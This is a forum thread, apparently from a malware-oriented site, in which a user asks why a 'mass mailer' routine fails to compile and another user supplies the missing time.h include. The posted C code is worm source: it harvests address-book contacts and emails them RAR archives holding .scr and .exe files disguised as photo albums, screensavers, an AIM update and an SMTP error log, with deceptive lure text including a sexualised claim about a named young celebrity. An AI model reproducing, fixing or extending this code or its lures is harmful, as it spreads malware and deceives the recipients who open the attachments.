+ Reply to Thread
Results 1 to 3 of 3

Thread: error C2065

  1. #1
    Banned
    Join Date
    Jul 2009
    Posts
    277

    error C2065

    hi all i m porting a mass mailer to one source and when i compile the project i have this error

    Code:
    error C2065: 'time' : undeclared identifier
    here is the code

    Code:
    //mass mailer functions
    #ifndef NO_AUTOMAIL
    
    DWORD WINAPI mailer(LPVOID xvoid)
    {
    
    	/* select a preconfigured email at random */
    	
    	int pick = rand()%2;
    
    	srand(time(NULL));
    
    	if (GetWABMails()==TRUE) {
    				
    	switch (pick)
    	{
    		//MessMail([0/1][attach as rar=1 or plain exe=0],"attached  rar archive name.rar", "rared file inside.exe", "email subject", "email body");
    
    		case 0: 
    		MessMail(1, "The Pictures.rar", "Photo Album.scr", "here are the pictures i took the other day", "YO! here are all the pictures i took the other day. check them out.");
    		
    	
    		case 1: 
    		MessMail(1, "smtp_email_log.rar", "smtp_email_log.scr", "Local Loopback error 10029", "The SMTP relay server encountered Local Loopback error 10029 and was forced to save the email as a rar archive and forward it. Please view the attached email.");
    		
    
    		case 2: 
    		MessMail(1, "Screen Saver Maker.rar", "Screensavermaker.scr", "Cool screen saver i found", "i found a pretty neat program to make your own screen savers check it out.");
    		
    		
    		case 3: 
    		MessMail(1, "Hanna Montana.rar", "hanna upskirt.scr", "Look at this hanna montana upskirt", "I found these porn pics of hanna montana (miley cyrus) check em out");
    		
    
    		case 4: 
    		MessMail(1, "Download Accelerator 3.5.8.rar", "Setup.exe", "Download Accelerator", "hey, you should try using the download accelerator... it works really good and speeds up downloads by 30%. i sent it to you since i think you should try this.");
    		
    
    		case 5: 
    		MessMail(1, "New AIM.rar", "Aim Install.exe", "AIM Version 12 released", "Aim version 12 just came out, you should update its way better");
    		
    		
    		case 6: 
    		MessMail(1, "1025 Cool Screensavers.rar", "1025 Screensavers.scr", "Check out these screen savers", "look at these screen savers");
    		
    		/*
    		case 7: 
    		MessMail(1, "The Pictures.rar", "Photo Album.scr", "here are the pictures i took the other day", "YO! here are all the pictures i took the other day. check them out.");
    		
    
    		case 8: 
    		MessMail(1, "The Pictures.rar", "Photo Album.scr", "here are the pictures i took the other day", "YO! here are all the pictures i took the other day. check them out.");
    		
    
    		case 9: 
    		MessMail(1, "The Pictures.rar", "Photo Album.scr", "here are the pictures i took the other day", "YO! here are all the pictures i took the other day. check them out.");
    		*/		
    		break;
    		
    
    	}
    
    	} 
    	return 1;
    }
    #endif //NO_AUTOMAIL
    this is the line wich causes error
    Code:
    srand(time(NULL));
    someone can help telling me how to declare this identifier ?
    thnx

  2. #2
    Senior Member
    Join Date
    Mar 2009
    Posts
    565
    #include <time.h>

  3. #3
    Banned
    Join Date
    Jul 2009
    Posts
    277

    hi

    DigitalNemesis thnx is oki now :-)

 

 

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Similar Threads

  1. Omfg error error error
    By ct_army in forum Visual Basic Help
    Replies: 6
    Last Post: 25-12-2008, 16:52
  2. help with error
    By bosco123 in forum Delphi Help
    Replies: 2
    Last Post: 17-08-2007, 02:37
  3. Error #53 Jpg
    By Icebergdelphi in forum Delphi Help
    Replies: 2
    Last Post: 10-06-2007, 19:29
  4. Error
    By Squidder in forum Visual Basic Help
    Replies: 2
    Last Post: 02-11-2006, 02:10
  5. error box
    By xsmithx in forum Delphi Help
    Replies: 10
    Last Post: 11-10-2005, 20:51

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
All times are GMT +1. The time now is 21:41.
www.opensc.ws
Copyright ©2005 - 2012, OpenSC Forums



Search Engine Friendly URLs by vBSEO 3.6.0 ©2011, Crawlability, Inc.